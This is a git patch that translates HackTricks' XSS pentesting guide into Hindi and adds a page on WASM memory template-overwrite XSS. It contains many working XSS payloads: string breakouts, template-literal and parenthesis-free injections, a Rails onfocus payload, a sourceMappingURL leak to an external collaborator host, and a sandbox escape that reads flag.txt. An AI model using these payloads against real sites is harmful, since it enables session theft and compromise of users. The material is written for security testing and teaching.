From 9f3769962af0f86a1434579d5fa26eb8de686f96 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 15:04:20 +0000 Subject: [PATCH] Translated ['src/pentesting-web/xss-cross-site-scripting/README.md', 'sr --- src/SUMMARY.md | 1 + .../xss-cross-site-scripting/README.md | 418 +++++++++--------- ...sm-linear-memory-template-overwrite-xss.md | 133 ++++++ 3 files changed, 348 insertions(+), 204 deletions(-) create mode 100644 src/pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index be4d4275a..4c7d77d24 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -725,6 +725,7 @@ - [SOME - Same Origin Method Execution](pentesting-web/xss-cross-site-scripting/some-same-origin-method-execution.md) - [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) - [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) + - [Wasm Linear Memory Template Overwrite Xss](pentesting-web/xss-cross-site-scripting/wasm-linear-memory-template-overwrite-xss.md) - [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) - [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index 25aef5eff..9ac173579 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,32 +2,32 @@ {{#include ../../banners/hacktricks-training.md}} -## Methodology +## कार्यप्रणाली -1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code. -2. **Find the context** where it's reflected/used. -3. If **reflected** -1. Check **which symbols can you use** and depending on that, prepare the payload: +1. जाँचें कि क्या **कोई भी मान जो आप नियंत्रित करते हैं** (_parameters_, _path_, _headers_?, _cookies_?) HTML में **प्रतिबिंबित** हो रहा है या **JS** कोड द्वारा **उपयोग** किया जा रहा है। +2. उस संदर्भ को **खोजें** जहाँ यह प्रतिबिंबित/उपयोग किया जा रहा है। +3. अगर **प्रतिबिंबित** +1. यह जाँचें कि **आप कौन से प्रतीक उपयोग कर सकते हैं** और उसके अनुसार payload तैयार करें: 1. In **raw HTML**: -1. Can you create new HTML tags? -2. Can you use events or attributes supporting `javascript:` protocol? -3. Can you bypass protections? -4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md). -5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? -2. Inside a **HTML tag**: -1. Can you exit to raw HTML context? -2. Can you create new events/attributes to execute JS code? -3. Does the attribute where you are trapped support JS execution? -4. Can you bypass protections? -3. Inside **JavaScript code**: -1. Can you escape the ``** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol: +इस मामले में आपका इनपुट HTML पेज के **``** टैग्स के बीच, किसी `.js` फ़ाइल के अंदर या किसी attribute में जो **`javascript:`** प्रोटोकॉल का उपयोग कर रहा हो, पर परिलक्षित होता है: -- If reflected between **``** tags, even if your input if inside any kind of quotes, you can try to inject `` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `` tag is inside the HTML code. -- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed: +- यदि यह **``** टैग्स के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी प्रकार की quotes के अंदर हो, आप `` inject करके इस context से बाहर निकलने की कोशिश कर सकते हैं। यह इसलिए काम करता है क्योंकि **ब्राउज़र पहले HTML टैग्स को पार्स करेगा** और फिर कंटेंट को, इसलिए यह ध्यान नहीं देगा कि आपने जो `` टैग inject किया है वह HTML कोड के अंदर है। +- यदि यह **inside a JS string** पर परिलक्षित होता है और पिछला ट्रिक काम नहीं कर रहा है, तो आपको string से **exit** करना होगा, अपना कोड **execute** करना होगा और JS कोड को **reconstruct** करना होगा (यदि कोई **error** होगा, तो वह execute नहीं होगा: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` `` +- यदि यह template literals के अंदर परिलक्षित होता है, तो आप `${ ... }` syntax का उपयोग करके **embed JS expressions** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` `` - **Unicode encode** का उपयोग **valid javascript code** लिखने के लिए किया जा सकता है: ```javascript alert(1) @@ -86,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting उस अवसर को दर्शाता है जहाँ आप **functions, variables या classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन scenarios का गलत फायदा उठा सकें जहाँ कोई XSS undeclared variables या functions का उपयोग कर रहा हो।**\ -**अधिक जानकारी के लिए निम्नलिखित पेज चेक करें:** +Javascript Hoisting उस अवसर को संदर्भित करता है कि आप **functions, variables or classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन परिस्थितियों का दुरुपयोग कर सकें जहाँ एक XSS undeclared variables या functions का उपयोग कर रहा है।**\ +**अधिक जानकारी के लिए निम्नलिखित पेज देखें:** {{#ref}} @@ -96,19 +96,19 @@ js-hoisting.md ### Javascript Function -कई वेब पेज ऐसे endpoints होते हैं जो **accept as parameter the name of the function to execute**. एक आम उदाहरण जो आप रियल वर्ल्ड में देखेंगे कुछ ऐसा है: `?callback=callbackFunc`. +कई वेब पेज ऐसे endpoints रखते हैं जो **पैरामीटर के रूप में execute करने वाले function का नाम accept करते हैं**। एक आम उदाहरण जो अक्सर मिलता है वह है: `?callback=callbackFunc`. -यह पता लगाने का एक अच्छा तरीका है कि यूज़र द्वारा सीधे दी गई चीज़ें execute होने की कोशिश कर रही हैं या नहीं, वह है **modifying the param value** (उदाहरण के लिए 'Vulnerable') और console में ऐसे errors ढूँढना: +यह पता लगाने का एक अच्छा तरीका कि उपयोगकर्ता द्वारा सीधे दी गई कोई चीज़ execute होने की कोशिश कर रही है या नहीं — **param value को बदलना** (उदाहरण के लिए 'Vulnerable') और console में ऐसी त्रुटियों को देखना: ![](<../../images/image (711).png>) -यदि यह vulnerable है, तो आप सिर्फ वैल्यू भेजकर **trigger an alert** कर सकते हैं: **`?callback=alert(1)`**। हालांकि, बहुत आम है कि ये endpoints **validate the content** करके केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर (**`[\w\._]`**) की अनुमति देंगे। +अगर यह vulnerable है, तो आप केवल value भेजकर **alert trigger** कर सकते हैं: **`?callback=alert(1)`**. हालांकि, अक्सर ऐसे endpoints सामग्री को **validate** करते हैं ताकि केवल letters, numbers, dots और underscores की अनुमति हो (**`[\w\._]`**)। -हालाँकि, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का इस्तेमाल करके किसी भी DOM element तक पहुँच सकते हैं: +हालाँकि, उस सीमा के साथ भी कुछ क्रियाएँ करना संभव है। ऐसा इसलिए है क्योंकि आप उन मान्य chars का उपयोग करके **DOM** में किसी भी element को access कर सकते हैं: ![](<../../images/image (747).png>) -कुछ उपयोगी functions इसके लिए: +इसके लिए कुछ उपयोगी functions: ``` firstElementChild lastElementChild @@ -116,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -आप सीधे **Javascript functions** को सक्रिय करने का भी प्रयास कर सकते हैं: `obj.sales.delOrders`. +You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`. -हालाँकि, आमतौर पर वह function जिन endpoints पर execute होता है उन endpoints में बहुत रोचक DOM नहीं होता, **other pages in the same origin** में अधिक रोचक DOM होता है जहाँ और अधिक actions किए जा सकते हैं। +हालाँकि, आम तौर पर जो endpoints दिए गए function को execute करते हैं उनमें ज्यादा रोचक DOM नहीं होता, **other pages in the same origin** में अधिक रोचक DOM होगा ताकि और क्रियाएँ की जा सकें। -इसलिए, किसी अलग DOM में **abuse this vulnerability in a different DOM** करने के लिए **Same Origin Method Execution (SOME)** exploitation विकसित किया गया: +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {{#ref}} @@ -129,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -कुछ जगह ऐसा **JS code** होता है जो असुरक्षित तरीके से हमलावर द्वारा नियंत्रित कुछ **data** जैसे `location.href` का उपयोग कर रहा होता है। एक हमलावर इसका दुरुपयोग करके arbitrary JS code execute कर सकता है। +There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . एक attacker, इसका abuse करके arbitrary JS code execute कर सकता है। {{#ref}} @@ -138,7 +138,7 @@ dom-xss.md ### **Universal XSS** -इन प्रकार के XSS कहीं भी पाए जा सकते हैं (**anywhere**)। ये केवल वेब एप्लिकेशन के क्लाइंट exploitation पर निर्भर नहीं करते बल्कि किसी भी **context** पर निर्भर कर सकते हैं। इस तरह की **arbitrary JavaScript execution** का दुरुपयोग करके यहाँ तक कि **RCE** हासिल किया जा सकता है, क्लाइंट और सर्वर पर **arbitrary files** पढ़े जा सकते हैं, और भी बहुत कुछ।\ +These kind of XSS can be found **anywhere**. वे केवल क्लाइंट के exploitation of a web application पर निर्भर नहीं करते बल्कि किसी भी **context** पर निर्भर कर सकते हैं। These kind of **arbitrary JavaScript execution** का दुरुपयोग RCE प्राप्त करने, क्लाइंट्स और सर्वरों पर **read** **arbitrary** **files** करने, और अन्य के लिए किया जा सकता है।\ कुछ **examples**: @@ -157,11 +157,11 @@ server-side-xss-dynamic-pdf.md ## Injecting inside raw HTML -जब आपका इनपुट **inside the HTML page** पर प्रतिबिंबित होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहले आपको यह जांचना चाहिए कि क्या आप नए टैग बनाने के लिए `<` का दुरुपयोग कर सकते हैं: बस उस **char** को reflect कराकर देखें और जाँचें कि उसे **HTML encoded** किया जा रहा है, **deleted** किया जा रहा है, या **बिना बदलाव के reflect** किया जा रहा है। **केवल अंतिम स्थिति में ही आप इस केस का exploit कर पाएँगे।**\ -ऐसे मामलों में भी **ध्यान रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**नोट: एक HTML comment को बंद किया जा सकता है using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ +जब आपका input **HTML page के अंदर** reflect होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहली चीज़ जो आपको करनी चाहिए वह यह जांचना है कि क्या आप `<` का दुरुपयोग करके नए टैग बना सकते हैं: बस उस **char** को **reflect** करने की कोशिश करें और देखें कि क्या उसे **HTML encoded** किया जा रहा है, **deleted** किया जा रहा है, या बिना बदलाव के **reflected** किया जा रहा है। **केवल आखिरी स्थिति में ही आप इस मामले का exploit कर पाएंगे**।\ +इन मामलों में भी **ध्यान रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**नोट: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_ -इस स्थिति में और यदि कोई black/whitelisting उपयोग में नहीं है, तो आप निम्न payloads का उपयोग कर सकते हैं: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol. +इन मामलों में आपका **input** उस `.js` फ़ाइल के JS code के अंदर reflected होगा या `` टैग्स के बीच, या उन HTML events के बीच जो JS code execute कर सकते हैं, या उन attributes के बीच जो `javascript:` protocol स्वीकार करते हैं। -### Escaping \` you could easily **`` के अंदर insert होता है तो आप आसानी से **` ``` -Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward. +ध्यान दें कि इस उदाहरण में हमने **single quote को भी बंद नहीं किया है**। ऐसा इसलिए है क्योंकि **HTML parsing पहले browser द्वारा किया जाता है**, जो पृष्ठ के तत्वों की पहचान करना शामिल करता है, जिसमें script के ब्लॉक्स भी शामिल हैं। JavaScript की parsing, ताकि embedded scripts को समझकर और execute किया जा सके, केवल बाद में की जाती है। ### JS code के अंदर -यदि `<>` sanitize किए जा रहे हैं तो आप फिर भी उस स्थान पर जहाँ आपका इनपुट **स्थित** है, **स्ट्रिंग को एस्केप करें** और **arbitrary JS को execute करें**। यह महत्वपूर्ण है कि आप **JS syntax को ठीक करें**, क्योंकि यदि कोई त्रुटि होगी, तो JS code निष्पादित नहीं होगा: +यदि `<>` sanitised किए जा रहे हैं, तब भी आप उस स्थान पर जहाँ आपका input **located** है, **escape the string** करके **execute arbitrary JS** कर सकते हैं। यह महत्वपूर्ण है कि आप **fix JS syntax** करें, क्योंकि यदि कोई त्रुटि होगी तो JS code execute नहीं होगा: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -496,25 +497,25 @@ Note that in this example we **haven't even closed the single quote**. This is b ``` #### JS-in-JS string break → inject → repair pattern -जब user input किसी quoted JavaScript string के अंदर पहुँचता है (e.g., server-side echo into an inline script), आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax को repair करके parsing को वैध रख सकते हैं। सामान्य ढाँचा: +जब user input किसी quoted JavaScript string के अंदर land करता है (उदा., server-side echo into an inline script), आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax repair करके parsing को valid बनाए रख सकते हैं। Generic skeleton: ``` " // end original string ; // safely terminate the statement // attacker-controlled JS ; a = " // repair and resume expected string/statement ``` -उदाहरण URL पैटर्न जब संवेदनशील पैरामीटर JS string में परावर्तित होता है: +उदाहरण URL पैटर्न जब vulnerable parameter JS string में प्रतिबिंबित होता है: ``` ?param=test";;a=" ``` -यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS)। जब filters keywords ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाकर इस्तेमाल करें। +यह attacker JS को HTML context को छुए बिना निष्पादित करता है (pure JS-in-JS)। जब फ़िल्टर keywords को ब्लॉक कर रहे हों तो नीचे दिए गए blacklist bypasses के साथ मिलाएँ। ### Template literals `` -एकल और डबल quotes के अलावा **strings** बनाने के लिए JS **backticks** **` `` `** को भी स्वीकार करता है। इसे template literals कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **embedded JS expressions** को एम्बेड करने की अनुमति देता है।\ -इसलिए, अगर आप पाते हैं कि आपका इनपुट backticks वाले JS string के अंदर **reflected** हो रहा है, तो आप `${ ... }` सिंटैक्स का दुरुपयोग करके **arbitrary JS code** चला सकते हैं: +JS में single और double quotes के अलावा **strings** बनाने के लिए **backticks** **` `` `** भी स्वीकार किए जाते हैं। इसे Template literals कहा जाता है क्योंकि ये `${ ... }` सिंटैक्स का उपयोग करके **embedded JS expressions** को एम्बेड करने की अनुमति देते हैं।\ +इसलिए, अगर आपका इनपुट किसी JS string के अंदर **reflected** हो रहा है जो backticks का उपयोग कर रही है, तो आप `${ ... }` सिंटैक्स का दुरुपयोग करके **arbitrary JS code** चला सकते हैं: -यह निम्नलिखित का उपयोग करके **दुरुपयोग** किया जा सकता है: +यह निम्न का उपयोग करके **abused** किया जा सकता है: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -533,14 +534,16 @@ loop`` This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript new lines (से** [**JavaScript new line**](#javascript-new-lines) **ट्रिक)** +**JavaScript नई पंक्तियाँ (से** [**JavaScript new line**](#javascript-new-lines) **ट्रिक)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10) @@ -612,7 +615,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8 String.fromCharCode(8233) alert("//\u2029alert(1)") //0xe2 0x80 0xa9 ``` -**JavaScript रिक्त स्थान** +**JavaScript खाली स्थान** ```javascript log=[]; function funct(){} @@ -629,14 +632,14 @@ console.log(log) //Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes: ``` -**Javascript टिप्पणी के अंदर** +**Javascript एक कमेंट के अंदर** ```javascript //If you can only inject inside a JS comment, you can still leak something //If the user opens DevTools request to the indicated sourceMappingURL will be send //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com ``` -**JavaScript कोष्ठकों के बिना** +**JavaScript बिना कोष्ठकों** ```javascript // By setting location window.location='javascript:alert\x281\x29' @@ -715,7 +718,7 @@ try{throw onerror=alert}catch{throw 1} - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md) - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix) -**मनमाना फ़ंक्शन (alert) कॉल** +**किसी भी फ़ंक्शन (alert) को कॉल करना** ```javascript //Eval like functions eval('ale'+'rt(1)') @@ -777,45 +780,54 @@ top[8680439..toString(30)](1) ``` ## **DOM vulnerabilities** -There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\ -**स्पष्टीकरण के विस्तार के कारण** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** +ऐसा **JS code** मौजूद है जो attacker द्वारा नियंत्रित असुरक्षित डेटा का उपयोग कर रहा है, जैसे `location.href`। एक attacker इसका दुरुपयोग करके arbitrary JS code चला सकता है।\ +**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:** {{#ref}} dom-xss.md {{#endref}} -वहाँ आपको **DOM vulnerabilities क्या हैं, वे कैसे provoked होते हैं, और उन्हें कैसे exploit किया जाता है** का विस्तृत explanation मिलेगा।\ -Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering). +वहाँ आपको DOM vulnerabilities क्या हैं, वे कैसे उत्पन्न होते हैं, और उन्हें कैसे exploit किया जा सकता है — इसका विस्तृत **व्याख्या** मिलेगा।\ +इसके अलावा, मत भूलिए कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) के बारे में व्याख्या पा सकते हैं। ### Upgrading Self-XSS ### Cookie XSS -If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack: - +अगर आप cookie के अंदर payload भेजकर XSS trigger कर सकते हैं, तो यह आमतौर पर self-XSS होता है।\ +हालाँकि, अगर आप किसी XSS के लिए vulnerable subdomain पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे domain में cookie inject कर सकते हैं और main domain या अन्य subdomains (जो cookie XSS के लिए vulnerable हैं) में cookie XSS trigger करवा सकते हैं। इसके लिए आप cookie tossing attack का उपयोग कर सकते हैं: {{#ref}} ../hacking-with-cookies/cookie-tossing.md {{#endref}} -You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html). +आप इस तकनीक के एक शानदार दुरुपयोग को [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) में देख सकते हैं। ### Sending your session to the admin -Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability. +शायद कोई user अपना profile admin के साथ share कर सकता है, और अगर user के profile में self XSS मौजूद है और admin उसे access करता है, तो वह कमज़ोरी trigger कर देगा। ### Session Mirroring -If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session. - -You could make the **administrator trigger your self XSS** and steal his cookies/session. +यदि आप कुछ self XSS पाते हैं और वेब पेज में administrators के लिए **session mirroring** है — उदाहरण के तौर पर clients को मदद मांगने की सुविधा ताकि admin आपकी session में जो देख रहा है वही अपने session से देख सके — तो आप **administrator को अपने self XSS को trigger करवाने** के लिए प्रेरित कर सकते हैं और उसकी cookies/session चुरा सकते हैं। ## Other Bypasses +### Bypassing sanitization via WASM linear-memory template overwrite + +जब कोई web app Emscripten/WASM का उपयोग करता है, constant strings (जैसे HTML format stubs) writable linear memory में रहती हैं। एक single in‑WASM overflow (उदाहरण के लिए, edit path में unchecked memcpy) आसन्न structures को corrupt कर सकता है और उन constants पर writes redirect कर सकता है। किसी template को overwrite करना, जैसे "

%.*s

" से "" में बदलना, sanitized input को एक JavaScript handler value में बदल देता है और render पर तुरंत DOM XSS दे देता है। + +समर्पित पृष्ठ देखें जिसमें exploitation workflow, DevTools memory helpers, और defenses शामिल हैं: + +{{#ref}} +wasm-linear-memory-template-overwrite-xss.md +{{#endref}} + + ### Normalised Unicode -You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). +आप यह जांच सकते हैं कि क्या **reflected values** server (या client side) में **unicode normalized** किए जा रहे हैं और इस functionality का दुरुपयोग करके protections bypass किया जा सकता है। [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting). ### PHP FILTER_VALIDATE_EMAIL flag Bypass ```javascript @@ -823,16 +835,16 @@ You could check is the **reflected values** are being **unicode normalized** in ``` ### Ruby-On-Rails bypass -**RoR mass assignment** के कारण HTML में quotes डाल दिए जाते हैं और quote restriction bypass हो जाता है, जिससे टैग के अंदर अतिरिक्त फील्ड्स (onfocus) जोड़े जा सकते हैं.\ -Form उदाहरण ([from this report](https://hackerone.com/reports/709336)), यदि आप payload भेजते हैं: +क्योंकि **RoR mass assignment** के कारण HTML में quotes डाले जाते हैं और फिर quote restriction बायपास हो जाता है तथा अतिरिक्त fields (onfocus) टैग के अंदर जोड़े जा सकते हैं।\ +फ़ॉर्म का उदाहरण ([from this report](https://hackerone.com/reports/709336)), यदि आप payload भेजते हैं: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` -जो जोड़ी "Key","Value" इस तरह echo होकर वापस दिखेगी: +युग्म "Key","Value" इस तरह echo होकर वापस दिखेगा: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -फिर, onfocus attribute डाल दिया जाएगा और XSS हो जाएगा। +फिर, onfocus attribute डाल दिया जाएगा और XSS घटित हो जाएगा। ### विशेष संयोजन ```html @@ -864,24 +876,24 @@ contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) document['default'+'View'][`\u0061lert`](3) ``` -### 302 response में header injection के साथ XSS +### XSS with header injection in a 302 response -यदि आप पाते हैं कि आप **inject headers in a 302 Redirect response** कर सकते हैं तो आप कोशिश कर सकते हैं कि **make the browser execute arbitrary JavaScript**। यह **सरल नहीं** है क्योंकि आधुनिक ब्राउज़र HTTP response status code 302 होने पर HTTP response body की व्याख्या नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है। +यदि आप यह पता लगाते हैं कि आप **inject headers in a 302 Redirect response** कर सकते हैं तो आप कोशिश कर सकते हैं कि **make the browser execute arbitrary JavaScript**। यह **not trivial** है क्योंकि आधुनिक ब्राउज़र HTTP response status code 302 होने पर HTTP response body की व्याख्या नहीं करते, इसलिए सिर्फ एक cross-site scripting payload बेकार है। -In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\ +In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल कैसे टेस्ट कर सकते हैं और देख सकते हैं कि कौन सा ब्राउज़र को बॉडी के अंदर के XSS payload को inspect और execute करने देता है।\ Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`. -### केवल अक्षर, अंक और डॉट्स +### केवल अक्षर, संख्या और डॉट्स -यदि आप उन characters तक सीमित **callback** निर्दिष्ट कर सकते हैं जिन्हें javascript **execute** करेगा। [**Read this section of this post**](#javascript-function) यह पता करने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें। +अगर आप उन कैरेक्टर्स तक सीमित **callback** इंगित कर पाने में सक्षम हैं जिन्हें javascript **execute** करने वाला है तो यह उपयोगी हो सकता है। इस व्यवहार का दुरुपयोग कैसे करना है, यह जानने के लिए [**Read this section of this post**](#javascript-function) देखें। -### XSS के लिए मान्य ` ``` -उत्तर: - -- **module** (default, समझाने की आवश्यकता नहीं) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक फीचर है जो आपको HTML, CSS, JS… जैसे डेटा को एक साथ पैकेज करके **`.wbn`** फाइल में डालने की अनुमति देता है। +- **module** (डिफ़ॉल्ट, बताने जैसा कुछ नहीं) +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles एक फीचर है जो आपको कई डेटा (HTML, CSS, JS…) को एक साथ पैकेज करके एक **`.wbn`** फ़ाइल में रखने देता है. ```html ``` -यह व्यवहार [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) में एक लाइब्रेरी को eval पर रीमैप करने के लिए इस्तेमाल किया गया था, ताकि इसका दुरुपयोग XSS ट्रिगर कर सके। +यह व्यवहार [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) में एक लाइब्रेरी को eval पर remap करने के लिए उपयोग किया गया था ताकि इसे abuse करके XSS ट्रिगर किया जा सके। -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह फीचर मुख्य रूप से pre-rendering के कारण उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** यह फीचर मुख्य रूप से pre-rendering से उत्पन्न कुछ समस्याओं को हल करने के लिए है। यह इस प्रकार काम करता है: ```html ``` -### Web Content-Types से XSS +### वेब Content-Types से XSS -(स्रोत: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित content types सभी ब्राउज़र्स में XSS execute कर सकते हैं: +(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) निम्नलिखित content types सभी ब्राउज़रों में XSS निष्पादित कर सकते हैं: - text/html - application/xhtml+xml - application/xml - text/xml - image/svg+xml -- text/plain (?? not in the list but I think I saw this in a CTF) +- text/plain (?? सूची में नहीं है लेकिन मुझे लगता है कि मैंने इसे एक CTF में देखा था) - application/rss+xml (off) - application/atom+xml (off) -अन्य ब्राउज़र्स में अन्य **`Content-Types`** arbitrary JS execute करने के लिए इस्तेमाल किए जा सकते हैं, देखें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) +कुछ अन्य ब्राउज़रों में अन्य **`Content-Types`** का उपयोग arbitrary JS चलाने के लिए किया जा सकता है; देखें: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md) ### xml Content Type -यदि पेज text/xml content-type वापस कर रहा है तो namespace indicate करके arbitrary JS execute करना संभव है: +यदि पृष्ठ text/xml content-type लौटाता है तो namespace इंगित करके arbitrary JS चलाना संभव है: ```xml hello @@ -984,7 +994,7 @@ import { partition } from "lodash" ``` ### विशेष प्रतिस्थापन पैटर्न -जब कुछ इस तरह का **`"some {{template}} data".replace("{{template}}", )`** उपयोग किया जाता है, तो अटैकर [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +जब कुछ इस तरह **`"some {{template}} data".replace("{{template}}", )`** उपयोग किया जाता है। attacker [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a-string-as-the-replacement) का उपयोग करके कुछ सुरक्षा उपायों को बायपास करने की कोशिश कर सकता है: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code. @@ -997,7 +1007,7 @@ chrome-cache-to-xss.md ### XS Jails Escape -यदि आपके पास इस्तेमाल के लिए केवल सीमित chars हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों को देखें: +यदि आपके पास उपयोग करने के लिए केवल सीमित सेट के chars हैं, तो XSJail समस्याओं के लिए इन अन्य वैध समाधानों की जाँच करें: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -1028,22 +1038,22 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -यदि अनविश्वसनीय कोड चलाने से पहले **सब कुछ undefined** है (जैसा कि [**this 